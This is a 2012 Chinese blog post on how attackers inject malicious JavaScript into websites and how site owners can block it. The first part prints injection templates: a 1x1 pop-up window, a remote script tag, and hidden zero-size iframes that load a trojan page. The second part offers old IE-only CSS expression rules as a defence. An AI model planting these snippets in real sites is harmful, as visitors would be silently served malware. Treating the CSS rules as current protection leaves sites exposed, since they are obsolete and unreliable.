马海祥博客是一个专注于分享SEO优化、网站制作、网络营销和运营思维的自媒体博客!
马海祥博客 > 网站制作 > js教程 > 常见JS挂马方法及如何防止网站被黑客挂马?

常见JS挂马方法及如何防止网站被黑客挂马?

时间:2012-10-26   文章来源:www.mahaixiang.cn   访问次数:

最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定。可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因。最后发现是网站被挂马了,导致网站被连累了。在此,借助马海祥博客的平台,给大家简单的介绍下js挂马的方法及如何防止网站被挂马。

常见JS挂马方法及如何防止网站被黑客挂马?-马海祥博客

一、常见JS挂马方法

现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下:

window.open("http://www.mahaixiang.cn/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:

<script src="http://www.mahaixiang.cn/木马脚本.js"></script>

或者

document.write("<div style='display:none'>")
  document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
  document.write("</div>")

就成功地将木马挂到了对方的网页中了。

马海祥博客提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

<div style="behaviour: url(http://www.mahaixiang.cn/木马脚本.js);">

或者:

<iframe src="vbscript:[挂马脚本]">

常见JS挂马方法及如何防止网站被黑客挂马?-马海祥博客

二、如何防止网站被黑客挂马?

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
  script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。

所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被 document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访 问者的电脑中,从而起到防范JS脚本挂马的作用。

让JS木马的进程迅速中止

在 <head> </head> 之间加入如下代码:

屏蔽script和iframe

<style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');
  /*]]>*/
  </style>

单屏蔽script

<style type="text/css" id="LinrStudio">
  /*<![CDATA[*/
  /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
  script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
  /*]]>*/
  </style>

如果有朋友发现自己的网站有被挂马的现象,不妨用这种方法试下。由此可见,平时检查代码是维护网站的重要部分,而代码的简洁性又是至关重要的。对于如何优化网站代码,有兴趣的朋友可以试下:
CSS在线压缩软件 
CSS代码在线编辑器 

本文发布于马海祥博客文章,如想转载,请注明原文网址摘自于http://www.mahaixiang.cn/js/134.html,注明出处;否则,禁止转载;谢谢配合!

相关标签搜索: JS挂马   防止网站挂马   常见挂马方法  

上一篇:没有了
下一篇:推荐一种测试JavaScript执行性能和性能比较的方法

您可能还会对以下这些文章感兴趣!

  • JavaScript对象属性的基础教程指南

    JavaScript是使用对象化编程的,或者叫面向对象编程的。所谓对象化编程,意思是把JavaScript能涉及的范围划分成大大小小的对象,对象下面还继续划分对象直至非常详细为止,所有的编程都以对象为出发点,基于对象,小到一个变量,大到网页文档、窗口甚至屏幕,都是对象。……【查看全文

    阅读:1315关键词: js教程   JavaScript   js对象   js属性   js指南   日期:2014-03-13
  • Javascript教程:js异步模式编程的4种解决方法

    随着人们对网站视觉效果及用户体验的要求越来越高,所以在未来网站的建设中,设计师们开始越来越多的使用了js文件来达到预期的效果,随着js文件的越来越多,令设计师们最头痛的事情也就来了,那就是Javascript语言的执行环境是单线程(single thread)。 所谓单线程,就……【查看全文

    阅读:5145关键词: Javascript   js教程   异步模式   js编程   日期:2013-09-03
  • JavaScript事件处理程序的3种方式

    事件对象是用来记录一些事件发生时相关信息的对象,但事件对象只有事件发生时才会产生,并且只能是事件处理函数内部访问,在所有事件处理函数运行结束后,事件对象就被销毁!事件流就是描述了页面中接受事件的顺序,在浏览器发展的初期,两大浏览器厂商IE和Netscape互掐……【查看全文

    阅读:8333关键词: javascript   js事件   日期:2014-07-19
  • 常用的JS页面跳转代码调用大全

    所谓的js页面跳转就是利用javesrcipt对打开的页面ULR进行跳转,如我们打开的是A页面,通过javsrcipt脚本就会跳转到B页面。目前很多垃圾站经常用js跳转将正常页面跳转到广告页面,当然也有一些网站为了追求吸引人的视觉效果,把一些栏目链接做成js链接,但这是一个比较严……【查看全文

    阅读:24316关键词: js页面   js跳转   js代码   js调用   日期:2014-09-17
  • 最新挂木马的10大操作方法

    最近看了很多博友反馈的问题,发现最近一周谈论最多的问题就是js挂马的问题。问题也大多集中在如何挂马、挂马的方法有哪些?挂马的效果和如何防止自己网站被挂木马。并根据自己多年做网站的经验汇总了10条网站挂木马的常用的一些代码写法。在此给大家介绍一下具体代码……【查看全文

    阅读:1218关键词: 挂马   最新挂木马方   挂马操作方法   最新挂马方法   日期:2013-05-20
  • 常用的JavaScript字符串处理函数及用法

    最近参加了几次前端实习生招聘的笔试,发现很多笔试题都会考到字符串的处理,比方说去哪儿网笔试题、淘宝的笔试题等,如果你经常参加笔试或者也是一个过来人,相信你也跟我一样,发现字符串的处理是前端招聘过程中最常见的题型之一,这些题有一个特点,站在考官的角度去……【查看全文

    阅读:1639关键词: javascript   字符串   日期:2015-05-03
  • JS基础知识:Javascript事件触发列表

    Javascript是一种由Netscape的LiveScript发展而来的原型化继承的基于对象的动态类型的区分大小写的客户端脚本语言,主要目的是为了解决服务器端语言。JavaScript使我们有能力创建动态页面,而事件是可以被JavaScript侦测到的行为,Javascript事件像HTML标签的属性一样使……【查看全文

    阅读:2112关键词: js知识   javascript   js事件列表   js事件   日期:2014-06-26
  • 常见JS挂马方法及如何防止网站被黑客挂马?

    最近有朋友说自己的网站平时并未作弊,文章也都是原创的,更新很稳定。可不知道为什么网站突然就被各大搜索引擎降权了,一直找不到原因。最后发现是网站被挂马了,导致网站被连累了。在此,借助马海祥博客的平台,给大家简单的介绍下js挂马的方法及如何防止网站被挂马……【查看全文

    阅读:1985关键词: JS挂马   防止网站挂马   常见挂马方法   日期:2012-10-26
  • JavaScript开发者新手经常忽略或误用的基础知识点

    JavaScript本身可以算是一门简单的语言,但我们也不断用智慧和灵活的模式来改进它,昨天我们将这些模式应用到了JavaScript框架中,今天这些框架又驱动了我们的Web应用程序。很多新手开发者被各种强大的JavaScript框架吸引进来,但却忽略了框架身后浩如星海的JavaScript……【查看全文

    阅读:637关键词: javascript   开发者   日期:2016-07-03
  • 推荐一种测试JavaScript执行性能和性能比较的方法

    随着越来越多的站长对网站形象方面的关注,js文件也使用的越来越多了,于是乎一些细心的seo优化人员也开始重视JavaScript 的性能问题了,同时也导致了越来越多的 JS 性能测试框架和一些工具诞生,比如说 JSLitmus、jsperf 等等,由于本人对JavaScript方面的知识掌握的也……【查看全文

    阅读:7003关键词: JavaScript   js文件   JS性能比较   日期:2013-05-12
↓ 点击查看更多 ↓

互联网更多>>

SEO优化 更多>>

企业网站SEO推广能给企业带来哪些好处? 百度搜索用户建议专区上线公告